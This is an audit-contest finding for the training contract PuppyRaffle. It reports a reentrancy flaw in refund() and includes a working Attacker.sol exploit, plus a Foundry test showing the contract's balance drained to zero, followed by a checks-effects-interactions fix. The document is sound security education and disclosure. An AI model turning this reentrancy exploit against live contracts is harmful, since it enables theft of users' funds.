First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Loss of funds due to reentrancy attack through refunds

luka

Summary

Loss of funds due to reentrancy attack through refunds.

Vulnerability Details

An attacker can drain the balance of the PuppRaffle contract through PuppyRaffle::refund function because the state of the player is updated after the transaction of funds.

This enables the attacker to trigger the transaction multiple times and drain the contract balance.

Impact

First attacker needs to deploy the Attacker.sol contract and pass in the address of PuppyRaffle.

By calling the Attacker::attack function the contract will enter the PuppyRaffle as one of the players through the PuppyRaffle::enterRaffle function.

Afterward, the PuppyRaffle::refund function is called and the initial entrance fee is sent back to the Attacker contract.

This triggers Attacker:receive function and it calls the PuppyRaffle::refund function again. This cycle repeats until all the funds are drained from the PuppyRaffle contract.

Attacker.sol:

pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
contract Attacker {
PuppyRaffle public puppyRaffle;
uint256 playerIndex;
uint256 immutable entranceFee;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
​
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(playerIndex);
}
}
​
function attack() external payable {
require(msg.value >= entranceFee);
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
}
}

Attack execution:

function testRefundReentrancy() public playersEntered {
// PuppyRaffle contract should have a balance of 4 * entanceFee
// and attacker contract starts with 0 balance
uint256 initalPuppyRaffleBlanace = address(puppyRaffle).balance;
assertEq(address(puppyRaffle).balance, 4*entranceFee);
assertEq(address(attacker).balance, 0);
​
// attacker enters the raffle and initiates the attack
attacker.attack{value: entranceFee}();
​
// puppyRaffle contract should have balance of 0
// and attacker should have initial puppyRaffle + his own entrance fee
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attacker).balance, initalPuppyRaffleBlanace + entranceFee);
}

Tools Used

Foundry

Recommendations

Follow CEI - Checks Effects Interactions pattern.
First update the player state player state (effects) players[playerIndex] = address(0); (L103),
and then execute the transaction (interaction) payable(msg.sender).sendValue(entranceFee); (L101) at the end of the PuppyRaffle::refund function.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!